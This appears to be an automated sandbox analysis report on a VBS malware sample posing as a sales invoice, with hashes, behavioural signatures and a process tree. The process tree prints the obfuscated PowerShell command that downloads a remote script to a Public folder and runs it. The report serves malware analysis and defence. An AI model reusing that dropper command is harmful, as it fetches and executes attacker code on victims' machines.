7ca93809fbee49c7fdfd1aff84546a5fc31f30b4e44a6ca1f77b36b8ae2692e6

Analysis

max time kernel
434s
max time network
985s
platform
windows10_x64
resource
win10-en
submitted
02/09/2021, 17:28

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General

Target
Sales Invoice_REG212004755711421641.vbs
Size 208KB
Sample210902-v1zcbaeahm
SHA256 7ca93809fbee49c7fdfd1aff84546a5fc31f30b4e44a6ca1f77b36b8ae2692e6
MD5 4563d89b8a161d8e47f9b33f5f976990
SHA1 ebe3e2f1bbe065013ce561ccce366385403305a4
SHA512 9a4a3167910c7ad406c4ce2e893bfcad4e8f96268d3113c2a4ab5e5d8549079f94a998dd2d598746ee73ce1f4074341dca77d7a88ec100c70a64f88798a3a115
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	5076	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5076	powershell.exe
5076	powershell.exe
5076	powershell.exe
4540	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	4540	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4612 wrote to memory of 5076	4612	WScript.exe	74
PID 4612 wrote to memory of 5076	4612	WScript.exe	74
PID 5076 wrote to memory of 4540	5076	powershell.exe	78
PID 5076 wrote to memory of 4540	5076	powershell.exe	78

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Sales Invoice_REG212004755711421641.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command Add-Type -AssemblyName Microsoft.VisualBasic;[System.Net.WebClient]$WEB=New-Object System.Net.WebClient;[String]$DownloadFile='D'+'o'+'w'+'nlo'+'ad'+'Fi'+'l'+'e';[Microsoft.VisualBasic.Interaction]::CallByName($WEB,$DownloadFile,1,@('https://sharetext.me/raw/s5bxw8wu','C:\Users\Public\SystemUpdate.PS1'));PowerShell -File C:\Users\Public\SystemUpdate.PS1
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File C:\Users\Public\SystemUpdate.PS1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4540

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4540-163-0x000002962D3D0000-0x000002962D3D2000-memory.dmp

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memory/4540-164-0x000002962D3D3000-0x000002962D3D5000-memory.dmp

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memory/5076-121-0x0000020BEF9D0000-0x0000020BEF9D1000-memory.dmp

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memory/5076-124-0x0000020BF0460000-0x0000020BF0461000-memory.dmp

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memory/5076-125-0x0000020BEFA40000-0x0000020BEFA42000-memory.dmp

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memory/5076-126-0x0000020BEFA43000-0x0000020BEFA45000-memory.dmp

Download

memory/5076-144-0x0000020BEFA46000-0x0000020BEFA48000-memory.dmp

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memory/5076-162-0x0000020BEFA48000-0x0000020BEFA49000-memory.dmp

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